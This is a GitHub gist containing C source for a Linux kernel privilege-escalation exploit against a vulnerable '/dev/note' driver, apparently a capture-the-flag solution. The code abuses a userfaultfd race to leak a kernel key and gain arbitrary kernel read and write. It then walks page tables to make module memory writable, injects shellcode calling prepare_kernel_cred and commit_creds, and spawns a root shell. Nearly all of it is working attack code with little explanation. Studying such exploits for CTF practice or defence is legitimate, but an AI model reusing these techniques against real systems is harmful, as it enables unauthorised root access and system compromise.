Created
October 7, 2019 01:53
-
-
Save pr0cf5/05e340dccb950d6c03d042e0c018070a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <linux/userfaultfd.h> | |
#define NOTE_CREATE -256 | |
#define NOTE_VIEW -254 | |
#define NOTE_DELETEALL -253 | |
#define NOTE_EDIT -255 | |
#define PAGESIZE 0x1000 | |
#define THREAD_CNT 200 | |
#define SPRAY_CNT 32*32 | |
#define SPRAY_SIZE 1024*64 | |
#define STACK_END_MAGIC 0x0000000057ac6e9d | |
#define STACK_SZ 0x8000 | |
#define MASK 0xfffffffffff00000 | |
#define PGDIR_SHIFT 39 | |
#define PMD_SHIFT 30 | |
#define PT_SHIFT 21 | |
#define PAGE_SHIFT 12 | |
struct request { | |
off_t index; | |
size_t length; | |
char *noteBuf; | |
}; | |
int userfaultfd(int flags) | |
{ | |
return syscall(SYS_userfaultfd, flags); | |
} | |
int create(size_t length, char *buf) { | |
int fd; | |
struct request req; | |
req.index = 0; | |
req.length = length; | |
req.noteBuf = buf; | |
fd = Open("/dev/note", O_RDONLY); | |
if (ioctl(fd, NOTE_CREATE, &req) < 0){ | |
return -1; | |
} | |
close(fd); | |
return 0; | |
} | |
void view(off_t index, char *buf) { | |
int fd; | |
struct request req; | |
req.index = index; | |
req.length = 0; | |
req.noteBuf = buf; | |
fd = Open("/dev/note", O_RDONLY); | |
if (ioctl(fd, NOTE_VIEW, &req) < 0){ | |
perror("ioctl(view)"); | |
exit(-1); | |
} | |
close(fd); | |
} | |
void deleteAll() { | |
int fd; | |
struct request req; | |
req.index = 0; | |
req.length = 0; | |
req.noteBuf = NULL; | |
fd = Open("/dev/note", O_RDONLY); | |
if (ioctl(fd, NOTE_DELETEALL, &req) < 0){ | |
perror("ioctl(deleteall)"); | |
exit(-1); | |
} | |
close(fd); | |
} | |
void editZero(char *buf) { | |
int fd; | |
struct request req; | |
req.index = 0; | |
req.length = 0; | |
req.noteBuf = buf; | |
fd = Open("/dev/note", O_RDONLY); | |
printf("[*] edit entry\n"); | |
if (ioctl(fd, NOTE_EDIT, &req) < 0){ | |
return -1; | |
} | |
printf("[*] edit done\n"); | |
close(fd); | |
return 0; | |
} | |
void edit(int index, char *buf) { | |
int fd; | |
struct request req; | |
req.index = index; | |
req.length = 0; | |
req.noteBuf = buf; | |
fd = Open("/dev/note", O_RDONLY); | |
if (ioctl(fd, NOTE_EDIT, &req) < 0){ | |
return -1; | |
} | |
close(fd); | |
return 0; | |
} | |
int Open(char *filename, int flags) { | |
int t = open("/dev/note", O_RDWR); | |
if (t < 0) { | |
perror("open"); | |
exit(-1); | |
} | |
return t; | |
} | |
int prepareUFD(pages, memsize) { | |
int fd = 0; | |
if ((fd = userfaultfd(O_NONBLOCK)) == -1) { | |
fprintf(stderr, "++ userfaultfd failed: %m\n"); | |
exit(-1); | |
} | |
/* When first opened the userfaultfd must be enabled invoking the | |
UFFDIO_API ioctl specifying a uffdio_api.api value set to UFFD_API | |
(or a later API version) which will specify the read/POLLIN protocol | |
userland intends to speak on the UFFD and the uffdio_api.features | |
userland requires. The UFFDIO_API ioctl if successful (i.e. if the | |
requested uffdio_api.api is spoken also by the running kernel and the | |
requested features are going to be enabled) will return into | |
uffdio_api.features and uffdio_api.ioctls two 64bit bitmasks of | |
respectively all the available features of the read(2) protocol and | |
the generic ioctl available. */ | |
struct uffdio_api api = { .api = UFFD_API }; | |
if (ioctl(fd, UFFDIO_API, &api)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); | |
exit(-1); | |
} | |
/* "Once the userfaultfd has been enabled the UFFDIO_REGISTER ioctl | |
should be invoked (if present in the returned uffdio_api.ioctls | |
bitmask) to register a memory range in the userfaultfd by setting the | |
uffdio_register structure accordingly. The uffdio_register.mode | |
bitmask will specify to the kernel which kind of faults to track for | |
the range (UFFDIO_REGISTER_MODE_MISSING would track missing | |
pages). The UFFDIO_REGISTER ioctl will return the uffdio_register | |
. ioctls bitmask of ioctls that are suitable to resolve userfaults on | |
the range registered. Not all ioctls will necessarily be supported | |
for all memory types depending on the underlying virtual memory | |
backend (anonymous memory vs tmpfs vs real filebacked mappings)." */ | |
if (api.api != UFFD_API) { | |
fprintf(stderr, "++ unexepcted UFFD api version.\n"); | |
exit(-1); | |
} | |
/* mmap some pages, set them up with the userfaultfd. */ | |
struct uffdio_register reg = { | |
.mode = UFFDIO_REGISTER_MODE_MISSING, | |
.range = { | |
.start = (long) pages, | |
.len = memsize | |
} | |
}; | |
if (ioctl(fd, UFFDIO_REGISTER, ®)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) { | |
fprintf(stderr, "++ unexpected UFFD ioctls.\n"); | |
exit(-1); | |
} | |
return fd; | |
} | |
void XOR(void *in, void *out, unsigned long key, size_t len) { | |
unsigned long *in_ = (unsigned long *)in; | |
unsigned long *out_ = (unsigned long *)out; | |
for (int i = 0; i < len/8; i++) { | |
out_[i] = in_[i] ^ key; | |
} | |
} | |
unsigned long leakKey(){ | |
// first phase: leak key | |
char writebuf[0x100]; | |
char readbuf[0xffff]; | |
unsigned long key; | |
memset(writebuf, 0, sizeof(writebuf)); | |
writebuf[0x10+0x8] = 0xff; | |
pthread_t tid; | |
/* partial overwrite, overwrite length of note 1 partially */ | |
if (create(0x10+0x8+0x1, writebuf) < 0) { | |
fprintf(stderr, "[!] initial create failed!\n"); | |
exit(-1); | |
} | |
void *pages = mmap((void *)0xdead000, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); | |
if (pages == MAP_FAILED) { | |
perror("mmap"); | |
exit(-1); | |
} | |
int ufd = prepareUFD(pages, 0x2000); | |
printf("[+] ufd: %d\n", ufd); | |
pthread_create(&tid, NULL, editZero, pages); | |
/* | |
pid_t pid = fork(); | |
if (pid < 0) { | |
perror("fork"); | |
} | |
else if (pid == 0) { | |
editZero(pages); | |
}*/ | |
/* handle page fault */ | |
struct pollfd evt = { .fd = ufd, .events = POLLIN }; | |
while (poll(&evt, 1, 10) > 0) { | |
/* unexpected poll events */ | |
if (evt.revents & POLLERR) { | |
perror("poll"); | |
exit(-1); | |
} else if (evt.revents & POLLHUP) { | |
perror("pollhup"); | |
exit(-1); | |
} | |
struct uffd_msg fault_msg = {0}; | |
if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { | |
perror("read"); | |
exit(-1); | |
} | |
char *place = (char *)fault_msg.arg.pagefault.address; | |
if (fault_msg.event != UFFD_EVENT_PAGEFAULT | |
|| (place != pages && place != pages + PAGESIZE)) { | |
fprintf(stderr, "unexpected pagefault?.\n"); | |
exit(-1); | |
} | |
if (place == (void *)0xdead000) { | |
printf("[+] got page fault at address %p, nice!\n", place); | |
printf("[*] now deleting and adding two more notes\n"); | |
deleteAll(); | |
create(0x10, writebuf); | |
create(0x10, writebuf); | |
printf("[*] done! now releasing ufd to finish exit\n"); | |
/* release by copying some data to faulting address */ | |
struct uffdio_copy copy = { | |
.dst = (long) place, | |
.src = (long) writebuf, | |
.len = PAGESIZE | |
}; | |
if (ioctl(ufd, UFFDIO_COPY, ©) < 0) { | |
perror("ioctl(UFFDIO_COPY)"); | |
exit(-1); | |
} | |
/* now edit will overflow to 1, and key, length and ptr and contents of note1 will be altered by the overflow */ | |
/* overflow content = key ^ userprovided content */ | |
break; | |
} | |
} | |
pthread_join(tid, NULL); | |
view(1, readbuf); | |
unsigned long *ptr = (unsigned long *)readbuf; | |
// kernel pointer leak (key) | |
key = ptr[2]; | |
printf("[+] kernel infoleak: %p\n", (void *)key); | |
return key; | |
} | |
unsigned long key; | |
unsigned long moduleBase, pageOffsetBase; | |
unsigned long read64(unsigned long addr) { | |
unsigned long writebuf[0x10]; | |
unsigned long readbuf[0x10]; | |
unsigned long pt[0x10]; | |
unsigned long ct[0x10]; | |
pt[0] = 0x0; | |
pt[1] = 0x0; | |
pt[2] = 0x0; // key | |
pt[3] = 0x8; //length | |
pt[4] = addr - pageOffsetBase; | |
XOR(pt, ct, key, 5*8); | |
edit(1, ct); | |
view(2,readbuf); | |
return readbuf[0]; | |
} | |
void readLen(unsigned long addr, size_t length, void *buf) { | |
unsigned long writebuf[0x10]; | |
unsigned long pt[0x10]; | |
unsigned long ct[0x10]; | |
pt[0] = 0x0; | |
pt[1] = 0x0; | |
pt[2] = 0x0; // key | |
pt[3] = length; //length | |
pt[4] = addr - pageOffsetBase; | |
XOR(pt, ct, key, 5*8); | |
edit(1, ct); | |
view(2,buf); | |
} | |
void write64(unsigned long addr, unsigned long data) { | |
unsigned long writebuf[0x10]; | |
unsigned long readbuf[0x10]; | |
unsigned long pt[0x10]; | |
unsigned long ct[0x10]; | |
pt[0] = 0x0; | |
pt[1] = 0x0; | |
pt[2] = 0x0; // key | |
pt[3] = 0x8; //length | |
pt[4] = addr - pageOffsetBase; | |
XOR(pt, ct, key, 5*8); | |
edit(1, ct); | |
writebuf[0] = data; | |
edit(2,writebuf); | |
} | |
void writeLen(unsigned long addr, void *writeData, size_t len) { | |
unsigned long pt[0x10]; | |
unsigned long ct[0x10]; | |
pt[0] = 0x0; | |
pt[1] = 0x0; | |
pt[2] = 0x0; // key | |
pt[3] = len; //length | |
pt[4] = addr - pageOffsetBase; | |
XOR(pt, ct, key, 5*8); | |
edit(1, ct); | |
edit(2, writeData); | |
} | |
void getShell() { | |
while(getuid()) { | |
} | |
printf("[+] wow! i suddenly got root\n"); | |
system("cat /flag"); | |
} | |
unsigned long pageTableWalk(unsigned long pgdir, unsigned long vaddr) { | |
unsigned long index1 = (vaddr >> 39) & 0x1ff; | |
unsigned long index2 = (vaddr >> 30) & 0x1ff; | |
unsigned long index3 = (vaddr >> 21) & 0x1ff; | |
unsigned long index4 = (vaddr >> 12) & 0x1ff; | |
printf("index1: %lx, index2: %lx, index3: %lx index4: %lx\n", index1, index2, index3, index4); | |
unsigned long lv1 = read64(pgdir + index1*8); | |
if (!lv1) { | |
printf("[!] lv1 is invalid\n"); | |
exit(-1); | |
} | |
printf("lv1: %lx\n", lv1); | |
unsigned long lv2 = read64(((lv1 >> 12) << 12) + pageOffsetBase + index2*8); | |
if (!lv2) { | |
printf("[!] lv2 is invalid\n"); | |
exit(-1); | |
} | |
printf("lv2: %lx\n", lv2); | |
unsigned long lv3 = read64(((lv2 >> 12) << 12) + pageOffsetBase + index3*8); | |
if (!lv3) { | |
printf("[!] lv3 is invalid\n"); | |
exit(-1); | |
} | |
printf("lv3: %lx\n", lv3); | |
unsigned long lv4 = read64(((lv3 >> 12) << 12) + pageOffsetBase + index4*8); | |
if (!lv4) { | |
printf("[!] lv3 is invalid\n"); | |
exit(-1); | |
} | |
printf("lv4: %lx\n", lv4); | |
unsigned long vaddr_alias = ((lv4 >> 12) << 12) + pageOffsetBase; | |
printf("vaddr alias page: %p\n", (void *)vaddr_alias); | |
unsigned long pte_addr = ((lv3 >> 12) << 12) + pageOffsetBase + index4*8; | |
printf("pte address: %p\n", (void *)pte_addr); | |
return pte_addr; | |
} | |
unsigned long prepare_kernel_cred, commit_creds, copy_from_user; | |
void commit_creds_and_return() { | |
asm volatile ("xor %rdi, %rdi"); | |
asm volatile ("mov $0xcccccccccccccccc, %rax"); | |
asm volatile ("call %rax"); | |
asm volatile ("mov %rax, %rdi"); | |
asm volatile ("mov $0xdddddddddddddddd, %rax"); | |
asm volatile ("call %rax"); | |
} | |
int main() { | |
char tmp[0x10]; | |
unsigned long pt[0x10]; | |
unsigned long ct[0x10]; | |
unsigned long readbuf[0x10]; | |
unsigned long writebuf[0x10]; | |
unsigned long contentPtr; | |
int val; | |
pthread_t tids[THREAD_CNT]; | |
// first phase: leak key | |
key = leakKey(); | |
// first leak the content ptr (or more exactly, pseudo-ptr?) | |
create(0x10, tmp); //2 | |
view(1, readbuf); | |
contentPtr = readbuf[4] ^ key; | |
printf("[+] content pseudo-ptr: %p\n", (void *)contentPtr); | |
// now using the fact that note 1 has abnormally large size and we have the XOR key we can create an arbitrary fake note object. | |
pt[0] = 0x0; | |
pt[1] = 0x0; | |
pt[2] = 0x0; // key | |
pt[3] = 0x8; //length | |
pt[4] = contentPtr - 0x68 + 0x2000; // pseudo-ptr that points to notes[] array now | |
XOR(pt, ct, key, 5*8); | |
edit(1, ct); | |
// now we can abuse note 2 to do near-arbitrary read and write | |
view(2, readbuf); | |
moduleBase = readbuf[0] - 0x2520; | |
printf("[+] module base is: %p\n", (void *)moduleBase); | |
pageOffsetBase = moduleBase + 0x2520 + 0x68 - contentPtr; | |
printf("[+] page_offset_base is: %p\n", (void*)pageOffsetBase); | |
unsigned long leak = read64(0x6c + moduleBase); | |
printf("[+] kernel code leak: %p\n", (void *)leak); | |
long int offset = *((int *)(((char *)&leak) + 1)) + 5; | |
copy_from_user = offset + moduleBase + 0x6c; | |
commit_creds = 0xffffffff810ac680 - 0xffffffff81353e80 + copy_from_user; | |
prepare_kernel_cred = 0xffffffff810ac950 - 0xffffffff81353e80 + copy_from_user; | |
printf("[+] copy_from_user: %p\n", (void *)copy_from_user); | |
printf("[*] commit_creds: %p\n", (void *)commit_creds); | |
printf("[*] prepare_kernel_cred: %p\n", (void *)prepare_kernel_cred); | |
// walk page table and find page for module base | |
// change permissions to RWX | |
unsigned long pte_addr = pageTableWalk(key, moduleBase); | |
unsigned long default_pte = read64(pte_addr); | |
write64(pte_addr, default_pte|2); | |
char shellcode[0x1000]; | |
memcpy(shellcode, commit_creds_and_return, 0xff); | |
for(int i = 0; i < 0xff; i++) { | |
unsigned long *pppp = &shellcode[i]; | |
if (*pppp == 0xcccccccccccccccc) { | |
printf("[*] patched prepare_kernel_cred\n"); | |
*pppp = prepare_kernel_cred; | |
} | |
if (*pppp == 0xdddddddddddddddd) { | |
printf("[*] patched commit_creds\n"); | |
*pppp = commit_creds; | |
} | |
} | |
writeLen(moduleBase + 0x400, shellcode, 0xff); | |
writeLen(moduleBase, "\xe8\xf9\x03\x00\x00\x31\xc0\xc3", 8); | |
open("/dev/note", O_RDONLY); | |
system("/bin/sh"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment